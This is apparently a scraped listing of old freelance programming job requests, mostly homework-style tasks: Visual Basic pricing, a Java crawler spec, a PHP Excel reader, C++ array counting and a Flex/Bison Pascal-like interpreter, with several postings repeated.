
or if you already have a class or library that does this.

It doesn’t matter i just want a spider customized to do the above.

Escrow payment only… No automated bids please.

Visual Basics

January 5th, 2010 Comments off

1. Table 1 below shows the standard prices for items in a department store. Suppose prices will be reduced for the annual President’s Day Sale. The new price will be computed by reducing the old price by 10 percent, rounding up to the nearest dollar, and subtracting 1 cent. If the new price is greater than the old price, the old price is used as the sale price. Write a program to display in a list box the output shown in Table 2 below.

Table 1 President’s Day sale.

———————————————————————–

Item Original Price

———————————————————————–

GumShoes 39.00

SnugFoot Sandals 21.00

T-Shirts 7.75

Maine Handbag 33.00

Maple Syrup 6.75

Flaked Vest 24.00

Nightshirt 26.00

Table 2 Output

Item Sale Price

GumShoes 35.99

SnugFoot Sandals 18.99

T-Shirt 6.99

Maine Handbag 29.99

Maple Syrup 6.75

Flaked Vest 21.99

Nightshirt 23.99

2. Rewrite the program so input, processing, and output are each performed by calls to Sub procedures.

Private Sub btnCompute_Click(…) Handles btnCompute.Click

‘Convert feet and inches to centimeters

Dim str As String

Dim feet, inches, totalInches, centimeters As Double

str = “Give the length in feet and inches. “

feet = CDbl(InputBox(str & “Enter the number of feet.”))

inches = CDbl(InputBox(str & “Enter the number of inches. “))

totalInches = 12 * feet + inches

centimeters = 2.54 * totalInches

txtOutput.Text = “The length in centimeters is ” & centimeters

End Sub

3. Write a program to declare an array with the statement Dim state(49) As String and maintain a list of certain states. The list of states should always be in alphabetical order and occupy consecutive elements of the array. The buttons in the program should give the user the following options:

(a) Take the state specified by the user in a text box and insert it into its proper position in the array. If the state is already in the array, so report.

(b) Take the state specified by the user in a text box and delete it from the array. If the state is not in the array, so report.

(c) Display the states in the array.

4. The table below contains the statistics for a stock portfolio. (The current prices are given for January 17, 2008.)

Stock portfolio.

——————————————————————————-

Number Date Purchase Current

Stock of Shares Purchased Price/Share Price/Share

——————————————————————————-

Amgen 200 8/19/97 12.625 47.42

Delta Airlines 100 12/3/97 55.875 15.19

Novell 500 8/27/97 10.375 6.13

PPG 100 12/18/97 28.375 62.64

Timken 300 3/13/98 34.625 26.88

——————————————————————————-

(a) Compose a program to create the sequential file csvSTOCKS.TXT containing the information in the Stock portfolio table.

Java Spider

January 3rd, 2010 Comments off

I want a have spider modified or built which ever is easier. You can use existing opensource libraries or anything, it doesn’t matter as long as it acheives the tasks.
I want to be able to run the spider as an applet and from the command line so that i can be execute as a cron job.

The spider must be able to accept command line arguments eg.
main(String args[]) { String var = args[0]}

and the applet should have a simple gui.

The spider should be able to take in the domain name and crawl that domain only unless the option is choosen for the spider to leave the domain. It must have the option to re-index if html page has changed.

It should check header status of a page and does not index unless the page is available, so status 200 etc.

————— Specs —————————

Spider gets full html page contents
if the html tag i want to check for (eg <object></object>) is found then
Parse all html tags
get : array of tags i specify
example String getTags[]={“title”,”keyword”}

if keyword is empty/missing and description or title not empty then
split description at every word
return array of keywords limit to 250
else if title empty
attempt to extract keywords from html body up 250 words
if the html tag i checked for is not found then do not parse the page just get all the links from the page and continue crawling.

the crawler need to be able to return the values of html tags and their attributes that i specify.

I’d like the values returned to be in an associative array/map so that

myObject['title'] will contain the title
myObject['keyword'] will contain an array of keywords
myObject['tagName']['Attribute'] will get the attribute value of the html tag example
myObject['embed']['src']

Lastly i want the data to be inserted/indexed in my mySQL database but only if the html tag i checked for was found.

Please make sure you read and udnerstand the reqiurments. This will be integrated into one of my projects and it needs to be built according to my specs.

The spider can be a modification to the one found here
http://www.developer.com/java/other/article.php/1573761/Programming-a-Spider-in-Java.htm

or here
http://www.javaworld.com/javaworld/jw-11-2004/jw-1101-spider.html

or anything from the net
http://www.google.com/search?hl=en&source=hp&q=java+web+spider&aq=0&oq=java+web+spid&aqi=g2

or if you already have a class or library that does this.

It doesn’t matter i just want a spider customized to do the above.

Escrow payment only… No automated bids please.

Retailitem

December 6th, 2009 Comments off

Write a retailItem class that uses the following arrays as fields:

Categories: Java Tags: , , , , , ,

Xls Read

November 23rd, 2009 Comments off

Create a function that will read data from a .xls file (Microsoft Excel 2003 and older)

Most of the functionality of this function is already a part of the phpExcelReader library, so your job is to create a function that will reformat the data returned from the phpExcelReader library into the array format our tool expects.

Also, only one sheet’s worth of data should be returned. The first sheet should be returned if no sheet is specified. The first sheet is sheet 0, not 1.

Read the below for more information on the function, and the return data expected.

Below is a description of the function.

array xlsFileToArray ( string $filename [, int $sheet = 0] )
This function should read the contents of $filename and return the specified $sheet as an array. The array should be formatted as per the provided specification. This function will utilize the phpExcelReader (http://sourceforge.net/projects/phpexcelreader/) library.

Below is the expected format of the returned array:
Array

(

…[name] => Contacts

…[sl-base] => http://www.rapidemarketing.com/

…[sl] => ./Management/Contacts

…[creator] => 12

…[creator-name] => John Doe

…[TYPE] => collection

…[DATA] => Array

……(

………[0] => Array

…………(

……………[TYPE] => item

……………[DATA] => Array

………………(

…………………[0] => Array

……………………(

………………………[TYPE] => text

………………………[field-name] => First Name

………………………[DATA] => Bob

……………………)

…………………[1] => Array

……………………(

………………………[TYPE] => text

………………………[field-name] => Last Name

………………………[DATA] => Johnson

……………………)

…………………[2] => Array

……………………(

………………………[TYPE] => text-email

………………………[field-name] => E-mail

………………………[DATA] => bob.johnson somesite.com

……………………)

………………)

…………)

………[1] => Array

…………(

……………[TYPE] => item

……………[DATA] => Array

………………(

…………………[0] => Array

……………………(

………………………[TYPE] => text

………………………[field-name] => First Name

………………………[DATA] => Jan

……………………)

…………………[1] => Array

……………………(

………………………[TYPE] => text

………………………[field-name] => Last Name

………………………[DATA] => Smith

……………………)

…………………[2] => Array

……………………(

………………………[TYPE] => text-email

………………………[field-name] => E-mail

………………………[DATA] => jsmith aol.com

……………………)

…………………[3] => Array

……………………(

………………………[TYPE] => text

………………………[field-name] => Notes

………………………[DATA] => Requested contact via E-mail

……………………)

………………)

…………)

……)

)

Below is an explanation of the various array elements:

name
– (optional) Name of the data collection.

sl-base
– (optional) URL of the site the data came from / is going to

sl
– (optional) Associated Silverleaves object

creator
– (optional) ID # of the creator

creator-name
– (optional) Name of the creator

TYPE
– For importing and exporting this is always set to

Categories: PHP Tags: , , , , , ,

C++ Simple Array Project 2

October 7th, 2009 Comments off

Write a C++ program that reads in an array of type int. Provide facility to either read
this array from the key board or from a file, at the user’s option. If the user chooses
file input, the program should request a file name. You may assume that there are fewer than
50 entries in the array. Your program determines how many entries there are. The output is
to be a two-column list. The first column is a list of the distinct array elements; the
second column is the count of the number of occurrences of each element. The list should be
sorted on entries in the first column, largest to smallest.

PS::Please Comment well to help me understand the code.

Categories: C/C++ Tags: , , , , , ,

C++ Simple Array Project

October 7th, 2009 Comments off

Write a C++ program that reads in an array of type int. Provide facility to either read
this array from the key board or from a file, at the user’s option. If the user chooses
file input, the program should request a file name. You may assume that there are fewer than
50 entries in the array. Your program determines how many entries there are. The output is
to be a two-column list. The first column is a list of the distinct array elements; the
second column is the count of the number of occurrences of each element. The list should be
sorted on entries in the first column, largest to smallest.

PS::Please Comment well to help me understand the code.

Categories: C/C++ Tags: , , , , , ,

Programming Project 1254859377

October 6th, 2009 Comments off

Write a program that reads in an array of type int. Provide facility to either read
this array from the key board or from a file, at the user’s option. If the user chooses
file input, the program should request a file name. You may assume that there are fewer than
50 entries in the array. Your program determines how many entries there are. The output is
to be a two-column list. The first column is a list of the distinct array elements; the
second column is the count of the number of occurrences of each element. The list should be
sorted on entries in the first column, largest to smallest.

Categories: C/C++ Tags: , , , , , ,

Zshare Download Script

September 28th, 2009 Comments off

This is REALLY EASY, i just know so little about php…

I have had a script written for me that takes a zshare link (format: “http://www.zshare.net/video/55644061ca9d28e2″) and curls the ever-changing/encoded current link from the zshare site.

I, however, know little about php and need to alter the script so that rather than inputting the link manually the script automatically takes a link stored in an array (which i have already done and have attached as zs1.php) and automatically prints/echos the current everchanging link. (to be used in jwplayer)

eg. http://www.xxx.com/zshare.php?n=1 takes the first link from the array and simply prints the final link.

From the file attached it should be clear how easy this should be. the script i had written for me is zshare.php. (the other file is the array i need to intergrate)

Datastructures In Java

September 14th, 2009 Comments off

Your assignment consists of implementing and comparing the running times of several different algorithms to solve the maximum contiguous subsequence sum problem. Your textbook provides code that implements four algorithms for this problem, with running times O(n3), O(n2), O(n log n), and O(n). However, these methods only compute the value of the maximum sum, without actually indicating the subsequence that produces it. Modify them to include the values of the starting and ending index of the maximum sum subsequence, in addition to the value of the sum..
To generate your test data, write a method that randomly generates an array of integers with size and range specified by the user (for example (-100 to 100); notice that if the array contains only positive or only negative numbers the problem becomes trivial).
Run all four methods and find their running times using the following array sizes: 100; 10,000; 1,000,000 (this means you will run a total of 12 experiments). If a particular algorithm and input combination does not return an answer in a reasonable amount of time, note that in your report (that is, don’t wait for hours for your program to finish). In addition, for each algorithm, find the largest problem that it can solve in the following times: 1 second, 10 seconds, and 30 seconds (this means an additional 12 experiments).

Details will be provided to you once you are contacted.

Iphone Cocos2d Game

August 31st, 2009 Comments off

I am learning cocos2d and iphone development.

Would like to create a game.

Want some one to create a demo that shows the following.

Using a sprite sheet – single png image with many animation frames on it.

Load sprites into Atlas manager then create an array of animations (atlasanimation) from the png file

Then create a game class that contains an array of sprites show how to
a) load and display animations from the array and apply them to sprites in the sprite array. How to stop/start/change them.
b)when sprite is clicked show it animate again.
c) This should be applied to a scene or layer.

I will take the demo and use it to complete my game.

Sc++ Array Programming Project

August 22nd, 2009 Comments off

purpose of the program is to allow users to input a list of positive numbers into an array, find the average of the numbers in the array and output the results.

void inputmod (int values [], int &count)

{
count = 0;
do
cout << endl <<”Enter value ” << count <<
endl << “CTRL Z to stop” << endl << “>> ” ;
while (cin >> values [count++]);
count–;
cout << “INPUT ECHO” << endl << “count = “<< count << endl;
outputmod (values, count);
}

void outputmod (int values [], int count)

{
int i, j;

for (i = 0; i < count; i += 5)
{
for (j = i; ((j < i+5)

Pascal-like Language Interpr.

August 21st, 2009 Comments off

Flex,Bison,C language and Linux . Pascal like language interpreter

It’s an academic assignment for creating a Pascal-like language interpreter and has
two parts:
1. Development of a lexical analyzer using Flex
2. Development of a syntax analyzer using Bison

Unfortunately the grammar of the language is not given nor the actions for each grammar rule. You can have as basis the Pascal grammar but it’s going to need modification to work correctly.

I attach files of given FiP programs. The interpreter must run successful the given programs and must return a correct result.

Here is a bried description of language tokens:
Let us name our new language Fictional Pascal (FiP). It has common parts with traditional Pascal and also some differences.

The FiP language has the following tokens:
1. Key words:
and array boolean char
div do else for
function goto if integer
mod not of or
procedure program real repeat
result return then until
var while to downto

There is no difference between uppercase and lowercase characters.

2. Identifiers e.g. x y1 angle my_value Distance_02

3. Constants (integers)

4. Modifiers:
[]numeric: + – * / div mod ++ —
[]: -eq -gt -lt -dt -ge -le
logical: and or not
[]: :=

5. Dividers
{ } ; ( ) : , [ ] .

6. Comments (* …. *)

7. Line comments : start always with char #

9. Data types:
integer :
boolean :
char :
real :

10. Arrays:
array [n] of t
array [n]

Pascal-like Language Interpr.

August 8th, 2009 Comments off

Flex,Bison,C language and Linux . Pascal like language interpreter

It’s an academic assignment for creating a Pascal-like language interpreter and has
two parts:
1. Development of a lexical analyzer using Flex
2. Development of a syntax analyzer using Bison

Unfortunately the grammar of the language is not given nor the actions for each grammar rule. You can have as basis the Pascal grammar but it’s going to need modification to work correctly.

I attach files of given FiP programs. The interpreter must run successful the given programs and must return a correct result.

Here is a bried description of language tokens:
Let us name our new language Fictional Pascal (FiP). It has common parts with traditional Pascal and also some differences.

The FiP language has the following tokens:
1. Key words:
and array boolean char
div do else for
function goto if integer
mod not of or
procedure program real repeat
result return then until
var while to downto

There is no difference between uppercase and lowercase characters.

2. Identifiers e.g. x y1 angle my_value Distance_02

3. Constants (integers)

4. Modifiers:
[]numeric: + – * / div mod ++ —
[]: -eq -gt -lt -dt -ge -le
logical: and or not
[]: :=

5. Dividers
{ } ; ( ) : , [ ] .

6. Comments (* …. *)

7. Line comments : start always with char #

9. Data types:
integer :
boolean :
char :
real :

10. Arrays:
array [n] of t
array [n]

Bear